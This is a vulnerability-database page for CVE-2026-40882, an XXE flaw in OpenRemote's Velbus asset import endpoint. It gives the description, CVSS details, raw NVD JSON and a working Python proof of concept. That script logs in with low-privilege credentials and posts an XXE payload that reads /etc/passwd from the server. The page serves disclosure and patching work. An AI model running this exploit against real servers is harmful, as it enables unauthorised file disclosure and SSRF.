Security Vulnerability Report
中文
CVE-2026-40882 CVSS 7.6 HIGH

CVE-2026-40882

Published: 2026-04-22 21:17:09
Last Modified: 2026-04-24 13:24:33

Description

OpenRemote is an open-source internet-of-things platform. Prior to version 1.22.0, the Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters. Version 1.22.0 fixes the issue.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:openremote:openremote:*:*:*:*:*:*:*:* - VULNERABLE
OpenRemote < 1.22.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: OpenRemote XXE (CVE-2026-40882) # Target: OpenRemote < 1.22.0 # Target URL (Example) target_url = "http://target-host/openremote/import/velbus" # Attacker credentials (Low privilege required) username = "attacker" password = "password" # Malicious XXE Payload # Attempts to read /etc/passwd (must be < 1023 chars) xxe_payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> """ # 1. Authenticate to get a session session = requests.Session() login_data = {"username": username, "password": password} login_resp = session.post("http://target-host/login", data=login_data) if login_resp.status_code == 200: print("[+] Login successful") # 2. Send the malicious XML to the import endpoint headers = {"Content-Type": "application/xml"} response = session.post(target_url, data=xxe_payload, headers=headers) # 3. Check if file content is leaked in the response if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! File content leaked:") print(response.text) else: print("[-] Exploit failed or target not vulnerable") else: print("[-] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40882", "sourceIdentifier": "[email protected]", "published": "2026-04-22T21:17:08.733", "lastModified": "2026-04-24T13:24:32.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenRemote is an open-source internet-of-things platform. Prior to version 1.22.0, the Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters. Version 1.22.0 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openremote:openremote:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.22.0", "matchCriteriaId": "4F2709DF-FF1C-4D72-BFEF-FE9FC2C1ECC6"}]}]}], "references": [{"url": "https://github.com/openremote/openremote/security/advisories/GHSA-g24f-mgc3-jwwc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/openremote/openremote/security/advisories/GHSA-g24f-mgc3-jwwc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}